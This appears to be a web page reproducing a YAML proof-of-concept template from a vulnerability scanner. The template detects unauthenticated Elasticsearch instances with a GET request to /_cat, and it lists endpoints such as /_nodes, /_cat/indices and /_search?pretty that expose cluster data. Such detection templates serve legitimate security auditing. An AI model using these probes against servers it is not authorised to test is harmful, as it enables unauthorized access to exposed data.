elasticsearch-unauth: ElasticSearch Information Disclosure

2025-08-01 Elasticsearch PoC Public

Description

/_nodes #查看节点数据

/_cat/indices #索引

_cat/indices

/_plugin/head

/_nodes/

/_status

/_search?pretty

PoC

id: elasticsearch-unauth

info:
  name: ElasticSearch Information Disclosure
  author: p0wd3r
  severity: high
  verified: true
  description: |-
    /_nodes #查看节点数据
    /_cat/indices #索引
    _cat/indices
    /_plugin/head
    /_nodes/
    /_status
    /_search?pretty
  tags: elasticsearch,unauth
  created: 2023/07/07

rules:
  r0:
    request:
      method: GET
      path: /_cat
    expression: response.status == 200 && response.body.bcontains(b"/_cat/master")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/unauthorized/elasticsearch-unauth.yaml

References

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